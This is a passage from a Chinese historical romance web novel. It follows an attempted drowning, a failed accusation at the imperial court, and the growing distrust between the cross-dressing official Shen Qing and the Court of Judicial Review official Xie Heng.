桅杆边的呜咽声暂时止住,显然陈文轩也反应了好一会儿,才意识到对方在说什么,他艰难地扯了扯嘴角:“珩公子,这时候开玩笑可不合适。” 谢珩没有理他,重新看向两船相撞的位置,微拧着眉头,设身处地复盘起来:“如果我与心仪之人正在并肩交谈,危险突然来临,本能反应应该是抓紧对方,不会让她落水。” 说着,他沿着船沿走了两步,脑海中继续复盘事情的发展,颀长身形不动声色半挡在沈青前面。 “如果我心仪之人不幸落水,那此时我也一定在水中。” 事情可能发生的所有经过都在脑海中过了一遍,他再望向陈文轩时,目光变成锐利的审视:“而你,竟还有心思假装悲伤给别人看。” 沈青憧怔地望着挡在自己面前的清隽身姿,他刚才说的话,竟让她有些无端失神,不过很快,她的注意力被他们对话中另一件事吸引过去。 陈文轩最开始有须臾的懵懂无措,到后面越听越觉得好笑:“就凭你毫无依据的臆想来得出结论,珩公子难道不觉得荒唐吗?难道大理寺的案子都是这样断的吗?” 谢珩只是很平静地告诉他:“我查出岳闻渊的旧案是陈郡侯府一手操纵时,并不确定你在其中是否知情,只是刚才站到甲板上设身处地,才推断出你对岳瑛的真正态度。” 陈文轩几乎失语:“你……都查到了。” 谢珩如实相告:“还才刚查到陈郡侯府。如果不是查到这一点,我确实无法凭空臆断你的行为。” 两人寥寥几句交谈中,沈青基本能拼凑出事情的大概全貌,原来岳瑛人生中所有的悲剧,都来源于眼前这个连她都觉得十分满意称心的翩翩公子! 她心中所有的愤怒,震惊,痛心,全都化为一腔杀意,无人反应过来,一旁亲兵手中的短刀已经落在她手中,凌厉地划破雨幕,势如破竹直指陈文轩心口。 陈文轩黑亮的瞳孔急速放大,短刀印出的白光在他面容上俶尔即逝,刀尖还没碰上他衣襟,破空而来的锐气先封住他呼吸。 生死一瞬,空气中爆发出极为刺耳的一声铮然,那柄短刀被什么东西生生阻拦,一路刺啦带出星火,沈青手腕被自己用出的力道反震回来,短刀砰然落地,发出清脆一声。 同时,身后也是一声轻微的闷哼。 沈青盯着落在甲板上的短刀,上面缠了一圈极为轻细的银丝,这银丝韧性极强,即便被她斩断,也如绕指柔肠一般紧紧缠绕刀身。 她缓缓回头,看向银丝的主人。 刚才短刀破空,力道之大,动作之迅,谢珩强行阻拦,自然被伤,火光下俊容微白,尽管他的手藏在袖中,雪白的袖口掩不住斑斑血迹。 她再度明朗了许多。 原来他根本就不是一个手无缚鸡之力的书生,原来徐唐是被他亲手绞死的,原来他能动手取她性命的机会比想象中还要多太多。 但她现在完全无心纠结于他深藏不露之可怖,清绝面容上只有凛凛杀意:“我杀人,你觉得你拦得住吗?” “沈青,这里是洛京,不是渝州。”谢珩逼近两步,一字一顿告诫她。 显然这份警告对她半点威胁也没有:“那又怎样?” 谢珩在离她两步之遥的位置站定:“沈青,现在当务之急沈救人,方才他说的落水位置,一定是用来误导我们的,所以岳瑛不在画舫附近,她漂得越远,反而越有生机。” 沈青神色略微松动下来。 谢珩手下的那些亲兵,根本不需要他下令,听到他这番话便迅速调整救援的方向。 “岳瑛父亲的案子,我查到的不过冰山一角,你现在把他杀了干脆,然后呢?岳瑛家满门冤屈就洗刷了吗?如果线索因此中断,你就对得起岳瑛了吗?” 谢珩不敢贸然上前,只小心翼翼,从旁善诱,终于见沈青紧绷的背脊慢慢松垮下来,眉眼中戾气散去,他不动声色示意一旁的亲兵,脸色早已煞白的陈文轩立刻被带走。 沈青茫然地站在原地,铺天盖地的雨幕中,她秀挺身姿静默得可怕。 谢珩微抿着唇,正要上前,忽然听见远处有人在喊:“救上来了!” 他身前的人比他反应更快,刚才还不动如山的那道身影立刻跳下画舫,重新跨上先前载他们而来的窄船。他快步追上去,想上前扶她一把,被她错手躲开,纤秀的身形轻而易举翻上窄船。 谢珩抬手落空,他微蜷着指尖,重新将手收回袖中,袖上点点血色已经干涸,像是枯落的梅花。 上了窄船,他默然立在离沈青只有一肩之隔的身后。 落水之人在湖面另一侧被救上岸,窄船还没停靠稳当,沈青已经跃了下去,蹬着水面跑向岸边,拨开围在四周的人,看到煞白着脸躺在里头的果然是岳瑛。 入目所见,简直让她心惊肉跳。 岳瑛落水太久,身上衣裙被流水冲得散乱,几不弊体,玲珑曲线若隐若现。 此时她被一个身穿禁军服饰的年轻军官揽在怀中,那人用自己身子尽量遮蔽她,正半跪地上用唇抵在岳瑛唇上为她渡气。 围成一圈的士兵衙役全部都是男人,沈青大脑几乎空白,全完不知自己此时该做出什么举动。 好一会儿,听见岳瑛的剧烈咳嗽,她歪过头,“哇”地吐出一大口水,好一会儿,待她气息平缓下来,双目还是紧紧合着,人并未醒来。 “救过来了,快让郎中过来!” 年轻的军官扬声喊人,沈青猛然清醒过来,刚才过于慌乱而没注意到这人背影熟悉,原来是萧瑞。 对了,萧瑞在禁军北军中是校尉,此时出现在这里太正常不过。 她顿时像是有了支点,手边谢珩适时递上一件氅衣,她拿了氅衣上前将岳瑛从头到脚裹了个严实。 “大……大哥……” 看清来人,萧瑞脸色变了变,忙解释道:“大哥,大嫂是……我刚才……” 方才还从容不迫的少年军官这时说不出一句完整的话,连眼神都有些闪躲起来,忙将怀中的人交给沈青。 沈青低头碰了碰脸色白得发青的岳瑛:“我知道,这是渡气救人,你做得很对。” 萧瑞小心翼翼觑了一眼沈青的神色,见她满脸除了关心,并无其他情绪,默默起身退开。 夜色掩映下,无人注意到少年茫然的面容上,微微无措泛起了潮红。 第47章 第47章他们男人都有毛病 一阵兵荒马乱,岳瑛被送回沈府,经过郎中诊治,确定性命无虞后,沈青屏退了郎中,只留了谢珩在身边。 她搬了张椅子坐在床边守着,望着枕上的惨白睡颜,面色沉沉,凝眉深思。 “我这次真是太疏忽了,陈文轩这么迫不及待求娶岳瑛,我竟然以为这是他对岳瑛的尽力补偿,居然还事事配合了他。” “现在想起来确实不对劲,你上次不是说了嘛,他是堂堂郡侯之子,为了娶一个罪 臣之女,跟裴氏退婚,这么惊世骇俗的举动,洛京中好像确实没几个人议论?裴氏好像也全无反应的样子?” 回望整件事情并非全无疏漏。 身边的人没有回应,此时她连带着对谢珩的脸色也不太好:“不是我说,你们洛京的男人是不是都有点什么毛病,这么喜欢欺骗人的感情?” 一个一个,她现在真的很怀疑自己看男人的眼光。 谢珩无言以对,错开话题出声提醒:“现在她人虽然捡回一条命,但是这次经历种种,只怕后面要面对无尽的悠悠众口。” 他话说得委婉,但是沈青听得明白,岳瑛被陈文轩这样玩弄一遭,加上今日落水后衣不蔽体的场面,在外不知道要传成什么样子。 这便是洛京的坏处了,在莽山,哪拘这么多小节。 她轻哼了一声:“我才不管她名节不名节的,我只要她活下来就好。” 谢珩再次静默无言。 沈青对岳瑛的态度,又一次突破了他对世间男女情爱的认知。 妻子跟别人两厢情愿,做夫君的可以筹备嫁妆,欢喜相送,只在不为人知处黯然伤神;妻子被他人欺骗,不管名节,不论流言,他竟然还可以毫无芥蒂将人重新迎回来。 甚至只怪自己没有保护好她。 真正心仪一个人,可以成全到这样的地步吗? 只求她喜乐无忧,别的毫无所求? 沉思中,他听见沈青在喊他。 “谢珩,岳瑛家的案子到底是怎么回事?”一通情绪宣泄完毕,沈青问起正事。 先前在画舫上的寥寥数语,她知道的信息太少,所以专程留了谢珩在房中,就是想问清楚案子的事情。 “我也是刚才回大理寺那一趟,才彻底确定岳闻渊的案子背后操控推动之人是陈郡侯府的老侯爷,所有人证物件指向都在他身上。本来我还不确定陈文轩对此事是否知情,过来知会你的时候,还是晚了一步。” 案件刚刚才查到这一步,谢珩所知的信息也很有限,不过还是事无巨细将自己所知道的情况如实相告。 这么看来,陈文轩的目标是很明确了。 三年前在他们的操纵下,岳家满门被灭,不料三年后岳瑛重归洛京,还要重查旧案,那他蓄意接近,就是为了灭口。 很卑劣,且恶毒。 一想到陈文轩总是含情脉脉的温润笑颜,简直比徐唐孟渊之流还让人毛骨悚然。 “那是不是人证物证都有了具体指向,明天就可以面圣,请陛下下旨重新审查此案了?” 旧案重查事关重大,不能随时兴起便去推翻从前定案的案件,尤其岳闻渊官至四品,必须有圣上旨意,才能有机会重审。 所以这段时间所有察访,都是谢珩私下进行,但如今有了具体的进展,便可面圣请一道重查的旨意了。 “暂时……还不行。”谢珩答得不算太有底气。 “为什么?” 沈青仰头问她,白皙俊俏的面容上,疑惑中还带着一点希冀。 谢珩抿了抿唇,终是答到:“这件事情时机还不到,不能直接翻到明面上。” 这其实也是他刚才这一刻做出的最后决定。 他前脚才刚出了谢府旧宅的大门,马上就收到了岳瑛出事的消息。 二叔最后的威胁犹在耳边,他一意孤行,谢家就手起刀落,杀鸡儆猴。 这一次岳瑛侥幸活下,那下一次呢?等解决了岳瑛,下一个就是萧瑞,那萧瑞之后呢,还有左思禄,还有沈哲,最后总有一天会落到沈青头上。 他突然发觉,他没法再无所顾忌。 沈青似乎也反应了过来:“岳瑛家的案子,你们谢家牵扯进来了?” “……还不确定。” 沈青有点颓丧,缓缓沿着椅子靠了下去,如果没有,他会直接说没有,他说不确定,那只是他不确定谢家到底牵扯了多少。 难怪陈文轩对岳瑛下手,谢家会帮他调虎离山。 她真是没想到,岳瑛家的案子兜兜转转,竟然还有谢家的手笔。 她了然一笑:“原来这就是不能翻到明面上的原因,谢家和道义之间,看来你有了取舍。” 可是她所认识的,无论是谢珩还是谢十三,都不该会被门庭氏族所裹挟。不过旋即她又自嘲一笑,她跟他才认识多久呢,谢氏是他的根基,他总不能自断经脉吧。 谢珩立刻跟她解释:“暂时不翻到明面上,不是不查,而是没有圣意,不经衙役,瞒天过海,直到最后查清所有事实,再出来翻案。” 沈青静静听着,这种完全不经有司的察探,全凭谢珩一己之私,中间可操作的余地太多了,他完全可以从中将谢家彻底摘出来,直到最后翻到明面,等有司介入时,案中关于谢家痕迹早就无迹可寻。 她心中有一些落空,但还能说服自己,理解这是人之常情,谢家她暂时可以不动,可是陈文轩和陈郡侯府,必死无疑。 “那我就问你一句,陈文轩和陈郡侯府,能不能死?” 谢珩顶着她冷锐的目光,只能如实说出自己接下来的计划:“已经打草惊蛇,不可再轻举妄动。” 不仅是此案才露出冰山一角,陈郡侯府是其中关键。 更重要的,他现在不确定谢家为维护陈郡侯府,会对沈青诸人做到什么程度,今日从谢府旧宅到岳瑛落水,一切过于猝然,他还需要对谢家有一个周旋试探的过程。 事关沈青安危,不能行差踏错一步。 沈青俶尔一下变了脸色,所有的耐心在这一刻彻底耗完:“你要这样明目张胆姑息包庇他们?” “不是不动他们,是放长线钓大鱼,我们先不要急于一时……” “你总不会要说,是钓谢家这条鱼吧?” 话说到一半被打断,谢珩突然意识到,沈青此时的情绪不完全是愤恨,她那张疏离绝然的面容上,写满的是对他的不信任。 任何分析利弊的话再也说不出口,他只下意识问:“所以你不相信我?” 沈青可真是觉得自己听了天大的笑话:“你觉得我该相信你?” 她唇畔一丝若有若无的自嘲笑意像一把尖刀,一下子在他心口剜上一刀,小金顶上那些画面温情的欺骗和算计纷纷在眼前涌现出来。 他喉头微动,很想说信他,但他最没有资格说。 “我会还岳瑛,还有岳家一个公道的。”再开口,说什么都显得苍白。 沈青没有再理会他,她注意到榻上的岳瑛蹙着眉头,双唇微微张合,似乎有要醒来的迹象,忙俯身过去:“岳瑛?我是阿青,别怕。” 谢珩退了两步,从他此时所站的角度,可以看到沈青半俯在榻边,双臂呈一个保护的姿态将岳瑛圈护着,语气中的裹挟的暖融温度,与刚才和他说话的冰冷态度浑然像是两个人。 他慢慢退出房间,守在塌边的人只专注观察岳瑛的情况,浑然没有发觉房中少了一个人。 屋外已是更深露重,春夜的湿寒蔓延到人的五脏六腑之中,谢珩脑海中突然冒出一个残忍念头。 即便岳瑛与他人恩爱生子,只怕沈青也会将那孩子视如己出。 可是他不行,即便他剖出一颗心来坦诚相告,沈青也不会对他多一分信任。 人与人之间的差别,亦是犹如天堑。 脚下已不知深浅,他一步一步缓慢走出院子,将院中一盏暖灯留在身后。 暖灯下,岳瑛是在惊恐中醒来的。 “不要!” 她尖叫挣扎,感觉到面前有人,几乎是用尽全力仓惶将人推开。 “岳瑛!是我!” 沈青抓着她的手臂,焦急地顶着一张脸出现在她 眼前,好让她看清自己。 “沈青……”岳瑛目中渐渐聚焦,脑海中终于像是恢复了一点意识:“阿青?” “是我,你现在在沈府。” 岳瑛紧绷的身子慢慢放松下来,忽然猛地又想起什么,急得直拽住沈青的手:“陈文轩要杀我!” 提到“陈文轩”三个字,她齿关颤得厉害,脸上的惊恐无以复加。 别说岳瑛,此时的沈青都觉得荒谬,毕竟几个时辰前,她看到的还是一对璧人共贴剪影的画面。 “你放心,我一定会宰了他。” 岳瑛在沈青这三言两语的安抚下平静了下来,她躺在枕上,睁着眼愣愣看着床帐上垂下来的流苏。 出于大婚前的礼节恪守,她根本没有打算答应要单独跟陈文轩去游湖。 可是陈文轩说起三年前两人的最后离别,也是这样细雨濛濛浸润万物的春日,他们约好要去游湖,也是那一天,岳瑛家出事,当天就被查抄。 连告别都没有一场,湖畔的少年没有等到那个朝他温柔浅笑走来的姑娘。 这样的遗憾太过于凄厉,既然决定从头开始,她愿意从最开始的遗憾重新来过一遍,也许这样,余生才会圆满。 她登上游船的那一刻起,根本不可能意识到,当日遗憾,是今日的催命符。 直到最后一刻,陈文轩都是温情款款。 他们并肩站在甲板上,天色微微暗了下来,水面湖波荡漾,沿湖户户人家华灯初上。 不知不觉间,映在甲板上的一双人影也交叠在一起,陈文轩轻轻揽住她的肩头,她能感受到他温热体温包裹着自己。 她本能退开想要保持距离,肩膀却被钳得无法动弹,耳边是他款款告白:“阿瑛,我真的是喜欢你的,可惜了。” 丝丝柔情仿佛还在耳边荡漾,泪水从她眼角簌簌滑落。 “原来全都是骗我的。” 沈青也很无奈:“诶,你可千万别拿别人的过错怪到自己头上啊,就陈文轩那个骗法,别说你了,我都恨不得赶紧嫁了。” 说完好像觉得哪里不妥,又忙找补:“没关系的,你看我不也被谢珩骗得团团转嘛,是他们男人都有毛病。” “不一样……陈郡侯府,是我家灭门的元凶。” “啊,你……都知道了?” 岳瑛痛苦闭上双眼,最后的画面再次浮现。 她茫然回头,眼睁睁看着陈文轩一点一点靠近,她呼吸顿住,温润的唇在她鬓角辗转一瞬。 接下来,他说的每一个字她都听得清楚,只是当时完全没有明白那话的含义。 “本来是想先将你娶回家中再从长计议,可惜谢珩实在查得太快了,岳家的案子,就到此为止吧。” “阿瑛,我也舍不得你。” 没有任何缓冲的余地,她听到水面上有尖叫声,船身被一股巨大的力道撞开,借着船身剧烈摇晃的余力,她的身子也被身后一双手推出围栏。 她直直坠入水中,湖水漫过头顶之前,她最后看到的画面,是陈文轩整个人身子都要探出围栏,悲伤欲绝大喊她的名字。 第48章 第48章各归各路 翌日,天色还在将亮未亮的晦暗中,坐落在洛京城北的皇城,犹如一只还在沉睡中的巨兽。 朱红宫门外,站满了前来上朝的官员。 平日这些官员都三三两两站得各自为政,今日所有人倒是集中了许多,正议论着同一个人。 那人身穿正紫色官袍,头顶乌纱,手上还一本正经举着象牙色玉笏,一身修长玉立,卓然风姿,立于宫门最前,面无表情听着身后的议论纷纷。 这人不是别人,是破天荒来上早朝的沈青。 她虽官至三品,但并无实职,根本不需要来上朝,不过昨日游湖之畔动静实在太大,洛京的官员们或多或少都听到一些风声,尤其是,不仅沈青,今日陈郡侯府的老侯爷陈令知,多年不曾上朝,现在竟也站在上朝的队伍中。 也有好事者似不经意间向谢珩投去探寻的目光,谢珩正立在谢道清的身边,身后还领着一众出身谢门的官员,他目不斜视,仿佛对今日的异常并不关心。 原本因早起上朝而无比困倦的气氛,变得暗潮涌动起来,看来今日的早朝,是一场好戏。 时辰一到,宫门外的晨鼓隆隆敲了三声,宫门大开,官员们依序进入。 “陛下,臣要状告陈郡侯府的二公子陈文轩,欺辱臣妻,并将臣妻推入水中蓄意害命,请陛下替臣做主!” 一进乾元宝殿,沈青就板板正正跪下,开口告起御状。 本来她的身量五官就要比一般男人颀秀,但这一身正色官服又衬得她英挺俊逸,乍一看,大殿之上,满朝文武都要在这一抹亮色中显得黯然。 加上她开口脆生生的语调,让人听得莫名觉得她占理三分。 孝武帝还是耷拉着眼皮从梦中被拖到龙椅上来的模样,也只觉得眼前恍然惊艳,决定要替这好看的小爱卿做一回主。 他清了清嗓子,坐直身子,尽量让自己看起来威严:“陈爱卿,沈爱卿所说当真?” “陛下明鉴啊!犬子陈文轩,虽无大才,老臣教子无方不能使其堪为国家栋梁,可是这么些年也是读了圣贤书,知书明理之人,堂上诸位不少也都是看着犬子长大的,他从来都是谨小慎微,怎么可能做出蓄意杀人这种事情呢?” 陈令知直接在殿上扑倒,几句话的功夫早就涕泗满面,形容可怜,加上又很年迈,引得众朝臣纷纷恻隐。 谁人不知陈文轩是这陈令知老年得子,珍爱无比,这些年对儿子教导都是亲力亲为,蓄意杀人确实不是文质彬彬的陈家二公子能做出的事。 沈青眉心跳了跳,惊叹于此人逢场作戏的本事,强忍着没有暴跳起来直接在这大殿上将灭了岳瑛满门的始作俑者当场掐死。 陈令知还在泪如雨下:“老臣不敢隐瞒,犬子原先的确跟岳瑛……也就是沈大人现在的夫人有过婚约,但是岳家获罪后,这婚事就解除了啊,陛下若不信,大可派人去查探。只是没想到那岳瑛在土匪窝里混迹几年,变得这般不知廉耻,蓄意勾引我儿,想要再续前缘,如今我儿与裴氏千金有婚约在身,怎么还会跟她一个不清不白的罪臣之女纠缠不休呢?” 沈青气得板正的胸膛起起伏伏,她倒要听听,这狗嘴里还能吐出什么象牙来。 “那岳瑛见勾引不成,竟然想出以死相逼的法子!犬子心善,人命关天实在不能坐视不理,这才出现在昨晚游湖船上,本意也是想好言劝解,不料正好雨天昏暗,才有了撞船的事。” “老臣所言,句句属实,沈大人管束不了自己夫人红杏出墙,也不该如此血口喷人啊!” 陈令知声嘶力竭,句句泣泪,说到最后将脑袋磕在地上砰砰作响。 “你简直是一派胡言!” 沈青几乎是出于本能一下就站了起来,陈令知正蜷缩着跪在她脚边,只要一抬脚的事,这人今日绝对不可能出着气走出乾元殿。 “沈青……”一道清润的声音及时将她拉回理智,接下来的话谢珩没有喊出,沈青凌凌抬眸,看到那张俊朗面容紧拧着眉头,那表情一看就懂,让她不要冲动行事。 因着谢珩的这一声打断,跪在地上的陈令知反应过来,连滚带爬拖着自己已然僵直的身子钻到其他几个臣子脚边,颤声喊道:“这悍匪要在殿上杀人啦!” 别人可能没有感觉,他刚才是切切实实感受到与阎王爷擦身而过,不,刚才站在他面前的沈青,就是来向他索命的阎王爷! 沈青一双清眸慢慢垂下,凛然一身缓缓松垮下来,老老实实重新跪下:“臣方才护妻心切,一时冲动,还请陛下责罚。” 大殿之上,所有人都随着她重新跪倒下来而深深松了一口气,沈青悍匪之名在外,但是绝大多数人都无法将悍匪沈青跟这个秀颀俊俏的小公子对应上。 方才只是一瞬间没有压制住的怒意,充满绝对压迫的杀意轻而易举笼罩在大殿中每个人头上,封喉窒息。 没了陈令知的哭喊,大殿上陷入诡异的安静。 孝武帝深吸了两口气,倦怠的神情一下好像清醒了不少,他决定必须要给好看的人多一些机会。 “沈爱卿,既然你说陈爱卿是一派胡言,那有何依据呢?” 沈青应道:“昨夜游湖之上,两船相撞,是人为还是意外,陛下一查便知。” 昨夜动静之大,出动了禁卫北军、京兆府还有各路巡防武侯,事故情况,想必连夜查清。 果然,几个昨夜出动营救的首官依次站了出来,向孝武帝汇报情况。 “臣探查现场,连夜审问了昨夜事故中两艘船上所有人员,基本可以确定是因为夜雨视线不明导致的一次意外撞船。” “臣昨夜勘察游湖周边,与现场武侯衙役仔细搜寻,没有任何可疑人为迹象。” “臣昨夜直接去了陈郡侯府问话,陈文轩口供如陈侯所言,经查属实。” 沈青静静听着每个人都心知肚明的黑白颠倒,清绝面容上没有太多波澜,情理之中,但又意料之外。 陈文轩敢这么做,留有后手,这是情理之中。 意料之外是,她没有想到,乾元正殿,文武百官,竟然指鹿为马到这个地步了。 而这其中,也包括了谢珩。 她真是为这天下苍生捏一把冷汗。 孝武帝脸上有些挂不住:“这……沈爱卿啊,这其中是不是有什么误会?” “陛下,昨晚出事的时候,臣与大理寺卿正谢珩一同赶去,在画舫上,谢珩亲口点破陈文轩蓄意杀人的事实,陈文轩也亲口承认了。” 昨晚出现在现场的,可不止禁卫军和京兆府。 忽然被沈青点到,谢珩霍然抬头,对上她那双有些黯淡的眸子里,在澄澄望向他的时候,蕴含了点点期待。 孝武帝也像是看到了希望,忙问:“谢爱卿,这是怎么回事?朕平日就信你的话。” 大殿之上,所有目光都落在谢珩身上,等了须臾,才见他缓缓从谢道清身后站了出来。 只有他自己知道,刚才迈出了此生以来,最艰难的一小步。 他将玉笏平举于前,不疾不徐的语气一如他疏淡从容的气质:“臣昨夜在画舫上确实询问了陈文轩,但并未得到蓄意杀人的结论。” 他顿了一下,目不斜视:“昨晚沈大人酒醉,许是记错了。” 沈青笑了。 孝武帝尴尬地搓搓手:“沈爱卿,这……” “陛下,事实已经很清楚,还要再听这悍匪在此妖言惑众吗?”立在百官之首,一直沉默着的谢道清,终于出言打断。 孝武帝只好识趣:“那可能确实是沈爱卿昨晚喝醉了,没有记清楚。” “按律,诬陷朝廷官员,侯爵世家,该当何罪?”谢道清似乎不打算到此为止。 陈令知很会抓住机会跪上前来:“陛下!您要为老臣做主啊!” 他一张老脸挂着眼泪哭得很不好看,孝武帝闷闷地把目光重新挪回沈青那张令人赏心悦目的脸,为难起来:“这……” “陛下,此事说到底也是夫妻旧侣之间的私人情感纠葛,沈青初到洛京,举目无亲,遇到难事想到的便是进宫面圣,可见他招安后一片顺服心意。既然此事是酒醉后的误会,何况沈夫人此时也还受伤卧床,臣以为不必过于上升到法度纲常,罚一月俸禄,也算小惩大诫。” 谢珩出声适时递上台阶,孝武帝立刻接话:“对,就按谢爱卿说的办!” 这番言论简直说到孝武帝心坎里去了,招安后千里归顺,无依无靠的小爱卿,在这偌大的洛京城里,能依靠的只有他了,此时他的怜爱之情根本收不住:“沈爱卿啊,你来洛京这些日子,朕还是冷落你了,这样,等会从宫里给你挑些好玩的好用的送府上去,你以后受了什么委屈,还是要记得跟朕说。” 沈青:“……” 谢珩:“……” 陈知令:“……?” 一场闹剧就这么稀里糊涂结束。 早朝结束后,天色已经大亮起来。 只不过细雨如昨,从未止歇,沈青紫衣正冠,沉默地穿行于雨幕和道道宫门,俊秀眉眼间,淡淡氤氲着怏怏倦烦。 此时,她觉得非常后悔,莽山多年还是太坐井观天了,居然以为徐唐孟渊简直是最巧言令色的奸恶之徒。 现在想来真该留他们一命,然后他们仨一起坐在今日乾元殿上大开眼界。 “大哥!” 熟悉的一声将她从沉思中拉出来,抬眼看清阶下一身戎装的少年,她才发觉自己已经走出宫门一段距离了。 “你怎么来了?” 萧瑞快步迎了上来:“听说你今日早朝来告御状,就过来接你。” “这件事情所有人都套好了,就算陛下启动三司会审,陈文轩也是无辜的。大理寺那边,我有知道内情的兄弟跟我说,谢珩昨晚回去,连夜把关于岳闻渊的卷宗全部封存了。很多事情,定性了就是定性了,不是我们能改变的。” 沈青顿时听得更加垂头丧气。 两人并肩立在阶下,明明一个年轻挺拔,一个颀秀清逸,雨幕中的背影却显得有种说不出的落寞颓然。 “诶,”沈青怅然叹息:“本来还想给岳瑛出口气来着。” 这口气没出成,其实也在她的意料之中,不过让那陈令知在殿上又是嚎哭又是磕头,也不是全无收获。 可是今日乾元殿上种种,像一只无形的大手在拖拽她,让她不得不去做一个,她回洛京以来一直在逃避的决定。 也许往后斗鸡走狗花天酒地的日子真是不多了。 想到这,她忽然意味不明地看了一眼近在眼前的萧瑞,萧瑞被她这一眼看得无措,连眼神都不敢跟她对上:“大哥……我……” “你刚才说什么?” 她刚刚想事情太入神,一下没听清萧瑞在自己耳边问了句什么。 “我,我就是问问……嫂子她怎么样?我没有别的意思,我……” “身体倒是没什么大碍了,心口上的重创,就不知道这辈子能不能愈合了。”她没注意到萧瑞语气中的掩都掩盖不住的无措,只希望岳瑛能跟她一样没脸没皮一点就好。 “噢……”萧瑞讷讷应下。 “对了,你下个月俸禄分我一半啊,不然我没银子花了。” 沈青毫不客气开口,一想到下个月只能可怜兮兮花着萧瑞的一半俸禄,一张阴沉小脸又雪上加霜起来。 “啊?你银子呢?” 她指了指宫门:“被罚了。” 顺着她手指的方位,一位手臂上抱着拂尘的高阶内侍匆匆赶来,身后还跟了一溜绿衣小宦。 “还好沈大人没走远,”为首的内侍笑眯眯走上前:“这些东西可都还能入沈大人的眼?没什么问题的话,那就先给您送府上去。” 几个绿衣小宦手上都捧着匣子,锦布依次掀开,入目都是各种金银珠宝,绫罗绸缎。 ……原来这就是陛下所谓好玩的好用的? “臣谢过陛下恩典,就辛苦公公去沈府跑一趟了。” “为沈大人效劳是我等荣幸。” 等这一行人离开,刚刚被问走一半俸禄的萧瑞开口:“大哥,这就是你说的被罚了?” “嗯,真被罚了。” 沈青还是怏怏的,再不见往日哪怕多得了一锭银子的便宜都眉开眼笑的快乐。 完了,看到金银珠宝都不开心,人生可能真的完了。 “走吧,回去吧。”她也不想在这里多待。 “沈青。” 沈青循声回头,看到宫门内一道朱影步履匆匆向她而来,明明那人脚下每一步都在走向她,她眼睁睁看着那走向她的每一步其实都在离她而去,渐行渐远。 “沈青,”谢珩在她面前站定,面前的两个人看向他的脸色都不太好,他像 是寻求某种确定般,又喊了一遍她的名字,才压低了声音:“昨天不是说过了吗?已经打草惊蛇,便不要再妄动了。” 沈青懒懒地哼了一声,没有争辩,语气清淡平静得像是在推心置腹地交流:“可是这明明就是两码事啊,我今日哪一句提到了岳瑛家的案子?你查案归查案,昨日游湖伤人归游湖伤人,我仅仅只是为岳瑛昨日受到的伤害讨个公道而已。” 说到最后,稀疏平静的语气下,还是难掩一丝失望。 谢珩急着跟她分辨:“可是这就不是两件事,如果不是岳瑛家的案子,陈文轩不会对岳瑛下手,你……” “谢珩,”沈青不耐打断:“不管怎么说,你今日的确是让我刮目相看。” 旋即,她又自嘲一笑:“不对,你巧言令色的本领,我早在小金顶上就见识过了,但总归还是觉得你与别人是不一样的。我也是今天才意识到,你不是我认识的谢十三,也不是我认识的谢珩,不过也可能,是我从来没有真正认识过你。” 谢珩怔住。 他想过再面对她时,可能的千百种态度。 她可能会愤怒,会讽刺,最差的态度是待他冷淡如陌生人。 可是他没想到,她还会跟他说这么多话。 她现在看他的眼神是竟然有温度的,有温度,所以会失望,还会……受伤。 这一刻他仿佛听到自己身体里寸寸崩塌的声音,沈青再也不会相信他了。 “沈青。” 有千言万语,最后他只能喊出属于这个名字的两个字。 沈青的目光忽然错开他,落到他身后宫门,谢道清坐在几个绿衣小宦抬着的步辇上缓缓而出,紫衣貂椅,华贵无双。 丞相之尊,可以乘坐步辇进出宫门。 步辇在宫门口停顿一瞬,谢道清目光在数丈之外居高临下看了过来,与沈青凌凌目光争锋相对。 谢珩虽然背对着宫门,但也敏锐感受到身后的锐意,周遭虚无万物重新变得具体起来。 他目光恳切望向眼前人:“后面我无论做什么,都是在践行昨晚所言。” 沈青亦回望着他,笑意不达眼底。 “往后你走你的阳关道,我过我的独木桥。” 第49章 第49章色字头上一把刀 南风楼彩灯荡漾里,久违地出现一道青影。 丝竹声声,香风阵阵,苏子珩白衣款款,低眉顺眼抚弄琴弦。 既然谢珩已经不再审查岳瑛家的案子,沈青自觉也不必守诺待在府上过那寡淡的生活,有了眼前这活色生香,这才是人该过的日子。 王容坐在矮榻另一侧,坚定表态:“这件事情,我肯定相信你说的才是事实。必然是陈郡侯府跟陇西裴氏结亲在即,突然冒出岳瑛这么个麻烦,就赶紧让陈文轩把人骗过来灭口。高门大户里,这事我还真见多了。” 沈青面上已经有些薄薄醉意,听到王容如此坚定认可她,不由得抓了他酒杯跟自己酒杯碰一碰,一顿大敞心扉:“要是人人都像你这样就好,你昨天可是没有看到,他们那些人是怎么睁着眼睛说瞎话的,特别是那个谢珩,他可真是能瞎说!众目睽睽之下反老子的水!” 王容立刻义愤填膺:“就是!我都无法设身处地去想,你当时该多孤立无援!这人太不厚道了!” 他又给各自酒杯满上,酒杯在空中响亮一碰,两人都仰头一饮而尽。 “这个谢珩,他当初委身于我的时候,你不知道他装得多温柔小意,那天审陈文轩的时候,装得多正义凛然!结果两次都给我反水,搞得老子措手不及。” 说到情动处,沈青抬起胳膊搭上王容的肩膀,一副哥俩好的做派:“我这辈子就是吃了好色的亏,兄弟,色字头上一把刀,你可记住了!不然你会在一个坑里摔无数遍!” 说来也气,当初来洛京的时候,因为就是吃了色令智昏的亏,她保持着十二分的理智,无比清醒而坚定地认为,在洛京,跟谢珩最好的关系,就是没有关系。 到底是什么时候开始,怎么又跟谢珩走到一起去了?怎么又不知不觉间对那人报起了不切实际的期待? 她实在是想不起来了。 “喝酒喝酒,王兄,还是跟你在一起痛快!不提那个满口仁义道德的伪君子了!” “沈兄,你这下终于想起我的好了?也不知是谁,前段时间请都请不来,害我天天惦念。” 推杯换盏间,沈青感觉自己差不多了,没多去管他那嘲讽里的拈酸带醋,搁了酒杯靠在榻上准备缓一缓。 酒香氤氲的包间里,只剩苏子珩的琴音在静静流淌。 王容也放了酒杯,收敛起唇畔倜傥不羁的笑意,手撑着下巴,细看靠在榻上的睡颜。 清绝白皙的面容泛着淡淡芙蓉色,他在脑海中粗粗描摹眉眼,这样绝俗的容貌,媚可是吴宫娇娃,清可是雪山玉女,总能让人目不暇接。 不知道想到了什么,他在心底无言喟叹一声。 “这事可闹得太大了,沈青还去御前告了御状,不过听说是酒后闹事,被陛下罚了一个月俸禄呢。” “那天在游湖边,我可是亲眼看到了,沈青他夫人那一身肌肤,白得跟豆腐一样,摸上去肯定滑不溜湫的,那女人到处勾搭得起劲呢,改天我也要尝尝她滋味!” 包间里一安静下来,外头便什么声音都能往里头传,原本正在软榻上浅寐的沈青,懵懵睁开眼,掀开纱幔直愣愣走了出去。 